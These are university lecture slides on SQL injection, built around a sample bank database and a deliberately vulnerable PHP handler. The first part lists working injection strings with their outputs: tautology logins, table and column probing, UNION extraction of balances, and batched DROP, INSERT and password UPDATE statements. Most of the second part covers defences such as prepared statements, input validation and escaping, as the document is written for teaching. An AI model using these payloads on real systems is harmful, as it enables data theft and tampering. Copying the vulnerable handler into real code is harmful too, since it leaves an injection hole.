

SQL Injection

The slides are adapted from the slides of Montana University Gary Harkin

What Does Sql Injection Mean

- First, there is a software defect
- That defect results in a security vulnerability (or just vulnerability)
- A vulnerability is a weakness for certain types of attacks on the security of the application
- One of the possible attack types is an SQL Injection
- So, if you have a vulnerability that permits SQL Injection attacks, you have an SQL Injection vulnerability

The SQL Injection Attack

- SQL is “Structured Query Language”
- It is a standardized language for accessing databases
- Examples
 - `select name from employee where ssn='123456789'`
 - `select name, ssn, dob from employee where ssn='123456789' and id='31042'`
 - `select code,name from products where code ='536' union select code,name from sales where code > '500'`
- Every programming language implements SQL functionality in its own way

SQL Injection Example DB

Accounts

Name	Account	UserId	Password
Joe B	1234	joe	mypass
Tom M	6787	Daisy	rover
Alicia G	2547	alicia	x123y
Sally B	7744	sal	yllas

Balances

Account	Name	Cbalance	SBalance
2547	Alicia G	23.45	75.00
1234	Joe B	67.84	0.00
3333	Justin D	55.10	200.56
6787	Tom M	99.21	71.55
7744	Sally B	17.20	0.00
8899	Tom Q	102.55	66.00

SQL Injection Example ...

- Assume that the select statement implemented is:

```
res = select CBalance from Balances where Acct='$acct'
```

- \$acct is the variable containing the account number input by the user (PHP style naming)
- This is a typical usage of a select statement to look up a value

Enter your account number	3215
Your balance	

- Results in:

```
res = select CBalance from Balances where Acct='3215'
```

SQL Injection Example ...

- But what if the user enters something like this

Enter your account number

9999'%20or'%20'1'='1

Your balance

```
res = select CBalance from Balances where Acct='9999' or '1'='1'
```

- Since '1'='1' is always true, the select statement will return all records
- res will contain, depending on the language
 - every record
 - the first record
 - the last record

SQL Injection Example ...

- If the code block is:

```
res = select CBalance from Balances where Acct='$acct'  
if res  
    PrintHTML (res)
```

- Then the application will print whatever is in res.
- The attacker will have valuable information for further attacks, such as issuing a transaction against the account number discovered

An Example Program

```
<?php
# Simple PHP submit handler for mysqli
$acct = $_GET['account'];
$con = mysqli_connect ("127.0.0.1", "cs476", "passwd", "cs476_ex1");
if (mysqli_connect_errno ())
{
    echo "Failed to connect to db: ".mysqli_connect_error();
    exit ();
}
$result = $con->query ($query);
if ($result)
{
    print ("You are identified as <P> name    userid<P> \n");
    while ($row = $result->fetch_row())
        printf ("%s | %s <P>", $row[0], $row[1]);
    $result->close ();
}
$con->close();

?>
```


The Attack String

- How does the attacker determine the attack string?
 - Awareness of how the code might look
 - Guessing
 - Looking at messages resulting from failed attempts

Some Attack Strings

- Using the example program, what happens when you try different strings

1234

You are identified as name
userid

Joe B | joe

1234'

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near "1234'" at line 1

Some Attack Strings

- Using the example program, what happens when you try different strings

1234 or 1 = 1

You are identified as
name | userid

Joe B | joe

Tom M | Daisy

Alica G | alicia

Sally B | sal

Some Attack Strings

- A hacker might get access to user names and passwords in a database by simply inserting " OR ""=" into the user name or password text box:

```
uName = getRequestString("username");  
uPass = getRequestString("userpassword");  
  
sql = 'SELECT * FROM Users WHERE Name =' + uName + ' AND Pass =' +  
      + uPass + ' '
```

```
SELECT * FROM Users WHERE Name ="" or ""="" AND Pass ="" or ""=""
```

The SQL above is valid and will return all rows from the "Users" table, since **OR ""=""** is always TRUE.

Some Attack Strings

- Can we guess some field names?

```
1234 and account=NULL;
```

You are identified as
name userid

- We know account is a valid field name, because

```
1234' and acct=NULL; --
```

Unknown column 'acct' in 'where clause'

- Gives a different message

Some Attack Strings

- Can we guess some field names?

```
1234' and userid=NULL; --
```

You are identified as
name userid

- Now we know userid

```
1234' and password=NULL; --
```

You are identified as
name userid

- and password; these will be useful

Some Attack Strings

- How about table names

```
1234' and 1=(select count(*) from users); --
```

```
Table 'cs476_ex1.users' doesn't exist
```

- We know there's not table named users, but the DB is named cs476_ex1

```
1234' and 1=(select count(*) from accounts); --
```

```
You are identified as  
name userid'
```

- Bingo!!

Some Attack Strings

- How about userid's

```
1234' or name LIKE '%Tom%'; --
```

```
You are identified as  
name userid  
Joe B | joe  
Tom M | Daisy
```

```
1234' or userid LIKE '%al%'; --
```

```
You are identified as  
name userid  
Joe B | joe  
Alica G | alicia  
Sally B | sal
```


SQL Injection Based on Batched SQL Statements

- Most databases support batched SQL statement.
- A batch of SQL statements is a group of two or more SQL statements, separated by semicolons.
- The SQL statement below will return all rows from the "Users" table, then delete the "Suppliers" table.

```
txtUserId = getRequestString("UserId");  
txtSQL = "SELECT * FROM Users WHERE UserId = " + txtUserId;
```

The user input UserId as "105; DROP TABLE Suppliers"

```
SELECT * FROM Users WHERE UserId = 105; DROP TABLE Suppliers;
```

SQL Injection Based on Batched SQL Statements

Similar attacks can be done to insert values into a table
INSERT INTO table (fieldlist) VALUES (valuelist)

```
1234' ; INSERT INTO accounts (; --
```

You are identified as
name userid

Fatal error: Call to a member function fetch_row() on a non-object in
/home/www/cs476/sqli/submit.php on line 27

- The error is from the attempt to process an empty result. The INSERT was successful.

SQL Injection Based on Batched SQL Statements

UPDATE table set expression WHERE expression

```
11' ; UPDATE accounts SET password='fake' WHERE userid='sal'; --
```

You are identified as
name userid

Fatal error: Call to a member function fetch_row() on a non-object in
/home/www/cs476/sqli/submit.php on line 27

- The error is from the attempt to process an empty result. The UPDATE was successful.

SQL injection UNION attacks

The UNION keyword enables you to execute one or more additional SELECT queries and append the results to the original query

select cols from table1 ... UNION select cols from table2

```
1234' union select account,cbalance from balances; --
```

```
You are identified as  
name userid  
Joe B | joe  
1234 | 67.84  
2547 | 23.45  
3333 | 55.10  
6787 | 99.21  
7744 | 17.20  
8899 | 102.55
```

For a UNION query to work, two key requirements must be met:

- The individual queries must return the same number of columns.
- The data types in each column must be compatible between the individual queries.

SQL injection UNION attacks

Using union to determine the number of columns

```
1234' or 1=1 union select null,null from balances; --
```

```
You are identified as  
name userid  
Joe B | joe  
Alica G | alicia  
Tom M | Daisy  
Sally B | sal  
A Ttacker | me
```

```
1234' or 1=1 union select null from balances; --
```

The used SELECT statements have a different number of columns

SQL injection UNION attacks

ORDER BY - can help identify column names and numbers of columns

```
1234' ORDER BY 1 --
```

```
You are identified as  
name userid  
Joe B | joe
```

– Same for 2, but

```
1234' ORDER BY 3 --
```

```
Unknown column '3' in 'order clause'
```

– We know that the select is for two columns

SQL injection UNION attacks

ORDER BY - can help identify column names and numbers of columns

```
1234' ORDER BY name --
```

```
You are identified as  
name userid  
Joe B | joe
```

– But

```
1234' ORDER BY first_name --
```

```
Unknown column 'first_name' in 'order clause'
```

Remediation

- How do you prevent SQL Injection
 - Input validation
 - Using prepared statements
 - Stored procedures
 - Escape special charactersAll of these, or at least more than one

Remediation – Input Validation

- Input validation
 - Blacklisting
 - Make a list of all of the incorrect possibilities and search for them
 - Whitelisting
 - Make a list of all the correct possibilities and search for them
 - Much smaller set
 - Regular expression are very help
 - Process
 - Correct length?
 - Correct type (depends on the language)
 - Correct value

Remediation – Input Validation

- Example

```
$zip = $_GET ['zipcode'];  
if ((is_array ($zip)) || (! is_string ($zip))  
{  
    error ("Incorrect zip code format"); exit ();  
}  
if ((strlen ($zip) < 5) || (strlen $zip > 12)) # error condition  
  
$zip_re = '/^\d{5}([- \s]\d{4})?$/'    # 5digits followed by 0 or 1 reps of – or space and 4 digits  
if (! preg_match ($zip_re, $zip) )    # 1 = match, 0 = no match  
    # error condition
```

Remediation – Input Validation

- This is a lot of work, so plan for it
 - Create centralized routines to handle input validation
 - You can create data classes that can be tested identically except for the r.e.
 - If you think this is difficult and time-consuming, wait until you have to track down a defect

Remediation – Prepared Statements

- They vary between languages
- They give the SQL Engine the query in the form of a string with placeholders and a list of values
- The SQL Engine can use its knowledge of column types and meta characters to defang the query

Remediation – Prepared Statements

- Python

```
con.execute("select COUNT(*) from tbl1 where r = %s and c = %s", (range, cond))
```

- PHP

```
$stmt = $con->prepare("SELECT * from registry where name = ?");  
$stmt->execute(array ($name))
```

```
$stmt = $dbh->prepare("INSERT INTO REGISTRY (name, value) VALUES (?, ?)");  
$stmt->bindParam(1, $name);  
$stmt->bindParam(2, $value);  
$name = $_GET ('fname');  
$value = $_GET ('fval');  
$stmt->execute ();
```

Remediation – Prepared Statements

- Java

```
PreparedStatement getSales = null;
String getPSstring = "select name, value from tbl1 where cond=? and status=?";
try
{
    getSales = con.prepareStatement (getPSstring);
    getSales.setInt (1, condition);
    getSales.setString (2, cur_stat);
    con.commit ();
}
catch (SQLException e)
{
    System.err.print ("Dagnabbit – no did work");
    System.exit ();
}
finally { con.close ()}
```

How does this prevent an attack?

- The SQL statement you pass to prepare is parsed and compiled by the database server.
- By specifying parameters (either a ? or a named parameter like :name) you tell the database engine what to filter on.
- Then when you call execute the prepared statement is combined with the parameter values you specify.
- It works because the parameter values are combined with the compiled statement, not a SQL string.
 - SQL injection works by tricking the script into including malicious strings when it creates SQL to send to the database. So by sending the actual SQL separately from the parameters you limit the risk of ending up with something you didn't intend.

Remediation – Escaping

- Although SQL has some standard special characters, each DB has some of its own, so be careful
- Normally, don't allow special characters in your inputs unless necessary
- In general, Characters preceded by a backslash (\) are escaped
- Some characters have other forms as well – e.g. two single quotes means a quote without special meaning
- Use provided functions for escaping strings
 - Many attacks can be thwarted by simply using the SQL string escaping mechanism
 - ' → \' and " → \"
 - mysql_real_escape_string() is the preferred function for this

More Defenses

- Check syntax of input for validity
 - Many classes of input have fixed languages
 - Email addresses, dates, part numbers, etc.
 - Verify that the input is a valid string in the language
 - Some languages allow problematic characters (e.g., ‘*’ in email); may decide to not allow these
 - Exclude quotes and semicolons
 - Not always possible: consider the name Bill O’Reilly
 - Want to allow the use of single quotes in names
- Have length limits on input
 - Many SQL injection attacks depend on entering long strings

Even More Defenses

- Scan query string for undesirable word combinations that indicate SQL statements
 - INSERT, DROP, etc.
 - If you see these, can check against SQL syntax to see if they represent a statement or valid user input
- Limit database permissions and segregate users
 - If you're only reading the database, connect to database as a user that only has read permissions
 - Never connect as a database administrator in your web application

And Yet More Defenses

- Configure database error reporting
 - Default error reporting often gives away information that is valuable for attackers (table name, field name, etc.)
 - Configure so that this information is never exposed to a user